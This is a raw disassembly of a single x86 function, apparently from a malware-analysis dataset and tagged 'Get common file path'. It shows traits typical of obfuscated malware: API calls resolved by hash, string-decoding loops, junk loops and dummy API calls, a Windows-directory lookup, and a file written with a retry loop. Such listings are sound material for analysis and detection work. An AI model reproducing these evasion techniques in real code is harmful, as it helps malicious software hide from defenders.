Function at 0x1001baa1
Capabilities:
Get common file path

Disassembly:
mov eax, 0x10062702
call fcn.10061438
sub esp, 0x150
mov byte [ebp - 0x48], cl
push ebx
mov ebx, edx
mov dword [ebp - 0x1c], ebx
push esi
push edi
test cl, cl
je 0x1001c199
mov eax, dword [ebx]
cmp eax, dword [ebx + 4]
je 0x1001c18e
xor eax, eax
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x94]
push eax
push 0x1000
call fcn.1000f521
xor esi, esi
mov edi, 0x10417
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x54]
push dword [ebp - 0x54]
sar eax, 1
push eax
push edi
push 0xdef1
call fcn.10035d0f
pop ecx
pop ecx
call eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.10017b68
push 0x16c1b
mov byte [ebp - 4], 1
call fcn.1000e440
cmp dword [ebp - 0x64], 8
pop ecx
movzx edx, ax
lea ecx, [ebp - 0x78]
cmovae ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x58], edx
cmp word [ecx + eax*2 - 2], dx
je 0x1001bb8b
push 0x3bf8
push 0x1670
push 0x273b
push 0x3d11
push 1
push 0x7097
lea eax, [ebp - 0x58]
mov ecx, 0x3aa8
push eax
push 1
push 0x3fa9
push 1
push 0x27b1
lea edx, [ebp - 0x78]
call fcn.1001a75a
add esp, 0x2c
push ecx
mov edx, 0x371b
lea ecx, [ebp - 0x140]
call fcn.1001538f
push ecx
push eax
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 2
call fcn.10017d4a
push esi
push 1
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 1
call fcn.1000f26d
cmp dword [ebp - 0x64], 8
lea eax, [ebp - 0x78]
push esi
cmovae eax, dword [ebp - 0x78]
push eax
push edi
push 0x14e63
call fcn.10035d0f
pop ecx
pop ecx
call eax
push 1
push 0x50eb
push 1
push 0x4520
push 0x258f
lea eax, [ebp - 0x78]
mov edx, 0x3800
push eax
push 1
push 0x69ec
lea eax, [ebp - 0x58]
mov ecx, 0x7dff
push eax
push 0x7f8c
call fcn.1001b02d
push ebx
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], esi
push eax
push 1
push 0x6a92
push 0x2cb8
push 1
mov edx, 0x970
mov cl, 1
call fcn.1001b8b4
xor al, al
add esp, 0x40
and dword [ebp - 0x24], 0
mov byte [ebp - 0x11], al
test al, al
jne 0x1001c181
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0xac]
call fcn.1000e6f3
push 0x10
pop edx
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 3
call fcn.100127b0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0xac]
mov edx, 0xe2c
push eax
push 0x2891
push 1
push 1
mov ecx, 0x776
call fcn.1001b9d9
add esp, 0x14
mov dword [ebp - 0x40], 0x1d027a01
mov dword [ebp - 0x3c], 0x6873fa03
xor ecx, ecx
mov dword [ebp - 0x38], 0x4b001d03
push 0x65
pop eax
push 2
mov word [ebp - 0x82], ax
pop esi
cmp esi, 4
jne 0x1001bcc2
push esi
pop ecx
push 6
pop esi
jmp 0x1001bcf1
movzx edx, byte [ebp + esi - 0x3f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x42]
movzx ecx, word [ebp + eax*2 - 0x84]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x40]
add ecx, edx
mov word [ebp + eax*2 - 0x84], cx
xor ecx, ecx
add esi, 2
cmp esi, 0xc
jb 0x1001bcb6
xor eax, eax
mov word [ebp - 0x7c], ax
mov dword [ebp - 0x28], 0x1599
cmp dword [ebp - 0x28], 0x1693
jle 0x1001bda3
xor edi, edi
mov dword [ebp - 0x2c], edi
xor esi, esi
mov dword [ebp - 0x5c], esi
and dword [ebp - 0x44], 0
mov eax, edi
cdq
idiv esi
mov edi, dword [ebp - 0x44]
mov esi, edx
xor ebx, ebx
mov ecx, ebx
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x128]
or eax, esi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001bd4d
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push 0
push 1
lea ecx, [ebp - 0x128]
call fcn.1000f099
inc ebx
cmp ebx, 0xe29
jl 0x1001bd2d
inc edi
cmp edi, 0x47bf
jl 0x1001bd2b
mov esi, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x5c], esi
cmp esi, 0x5da2
jl 0x1001bd1d
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x6d75
jl 0x1001bd18
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov ebx, dword [ebp - 0x1c]
and dword [ebp - 0xd0], 0
lea ecx, [ebp - 0xe0]
xor eax, eax
mov dword [ebp - 0xcc], 7
mov word [ebp - 0xe0], ax
lea eax, [ebp - 0x84]
push eax
call fcn.10017b8d
push ecx
push ecx
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0xac]
call fcn.10017d4a
push 0
push 1
lea ecx, [ebp - 0xe0]
call fcn.1000f26d
cmp dword [ebp - 0x28], 0x13b5
jge 0x1001be0a
push str.rpol_ctpryiiq_oqf
call fcn.10048643
pop ecx
xor eax, eax
mov dword [ebp - 4], 4
cmp dword [ebp - 0x98], 8
lea edi, [ebp - 0x84]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xac]
cmovae eax, dword [ebp - 0xac]
mov edi, 0x10417
xor ecx, ecx
push ecx
push 0x80
push 2
push ecx
push ecx
push 0x40000000
push eax
push edi
push 0x7e5b
call fcn.10035d0f
pop ecx
pop ecx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x1001be95
push 0
lea eax, [ebp - 0xc8]
push eax
push dword [ebp - 0x60]
push dword [ebx]
push esi
push edi
push 0xedcd
call fcn.10035d0f
pop ecx
pop ecx
call eax
push esi
test eax, eax
push edi
push 0xd783
setne bl
call fcn.10035d0f
pop ecx
pop ecx
call eax
test bl, bl
jne 0x1001bed5
push 0
push 1
lea ecx, [ebp - 0x110]
call fcn.1000f26d
push 0
push 1
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 1
call fcn.1000f26d
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x12c
jae 0x1001c181
mov al, byte [ebp - 0x11]
mov ebx, dword [ebp - 0x1c]
jmp 0x1001bc3c
push 0x22
pop eax
xor ebx, ebx
mov dword [ebp - 0x18], 0x3101c900
push 2
mov word [ebp - 0x20], ax
mov ecx, ebx
pop esi
cmp esi, 2
jne 0x1001bef3
push esi
pop ecx
jmp 0x1001bf1c
movzx edx, byte [ebp + esi - 0x17]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x1a]
movzx ecx, word [ebp + eax*2 - 0x20]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x18]
add ecx, edx
mov word [ebp + eax*2 - 0x20], cx
mov ecx, ebx
add esi, 2
cmp esi, 4
jb 0x1001beea
xor eax, eax
mov dword [ebp - 0xb0], 7
mov word [ebp - 0x1e], ax
lea ecx, [ebp - 0xc4]
mov word [ebp - 0xc4], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0xb4], ebx
call fcn.10017b8d
mov byte [ebp - 4], 8
mov dword [ebp - 0x2c], 0x51fc
cmp dword [ebp - 0x2c], 0x5320
jle 0x1001c012
push 0x1904
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, esi
mov dword [ebp - 0x1c], ebx
mov esi, edi
mov dword [ebp - 0x44], edi
shl esi, cl
mov edi, ebx
mov ebx, 0x5f53
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x158]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001bfaf
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push 0
push 1
lea ecx, [ebp - 0x158]
call fcn.1000f099
dec edi
dec ebx
jne 0x1001bf91
mov ebx, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 0x1c], ebx
cmp ebx, 0x240e
jl 0x1001bf8a
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x24], esi
push 0
pop ebx
cmp esi, 0x58cd
jl 0x1001bf7e
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0xe25
jl 0x1001bf79
push ebx
push ebx
push ebx
push 0x166c
push 0x22c2
push ebx
push 0x1549
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
cmp dword [ebp - 0x2c], 0x4eab
mov dword [ebp - 0x20], ebx
jge 0x1001c029
push str.ywat_hwoyd_dntlz_gsmf_oulwbrxvj_ertyrcru_pfzkm_ydkug_rhhdsxgai_jxmtcuw
call fcn.10048643
pop ecx
push 0x7053
push 0x59be
push 1
push 0x35dc
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 8
push eax
lea eax, [ebp - 0xac]
mov dl, 1
push eax
mov cl, dl
call fcn.1001b19c
add esp, 0x18
mov dword [ebp - 0x34], 0x73010703
mov dword [ebp - 0x30], 0xd020200
push 0x53
pop eax
push 2
mov word [ebp - 0x8a], ax
pop esi
movzx eax, byte [ebp + esi - 0x36]
movzx edx, byte [ebp + esi - 0x33]
movzx ecx, word [ebp + eax*2 - 0x90]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x34]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x90], dx
cmp esi, 8
jb 0x1001c076
xor eax, eax
mov dword [ebp - 0xe4], 7
mov word [ebp - 0x88], ax
lea ecx, [ebp - 0xf8]
mov word [ebp - 0xf8], ax
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0xe8], ebx
call fcn.10017b8d
push ecx
push ecx
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0xc4]
call fcn.10017d4a
push ebx
push 1
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 8
call fcn.1000f26d
xor eax, eax
lea edi, [ebp - 0x90]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x11]
push 0x648e
push 1
push 0x52c4
stosd dword es:[edi], eax
mov dl, 1
push 1
push 0x2a85
stosw word es:[edi], ax
call fcn.1001b389
add esp, 0x14
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0xc4]
call fcn.100192db
mov ecx, dword [ebp + 0x1c]
push ebx
push 1
mov dword [ecx], eax
lea ecx, [ebp - 0xc4]
call fcn.1000f26d
push ebx
push 1
lea ecx, [ebp - 0x110]
call fcn.1000f26d
push ebx
push 1
lea ecx, [ebp - 0xac]
call fcn.1000f26d
push ebx
push 1
lea ecx, [ebp - 0x78]
call fcn.1000f26d
lea ecx, [ebp - 0x54]
call fcn.1000f5a8
jmp 0x1001c1a9
mov eax, dword [ebp + 0x1c]
push 0
mov dword [eax], 2
jmp 0x1001c16d
mov eax, dword [ebp + 0x1c]
mov dword [eax], 1
jmp 0x1001c1a9
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
mov eax, dword [ebp + 8]
sar ecx, 2
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret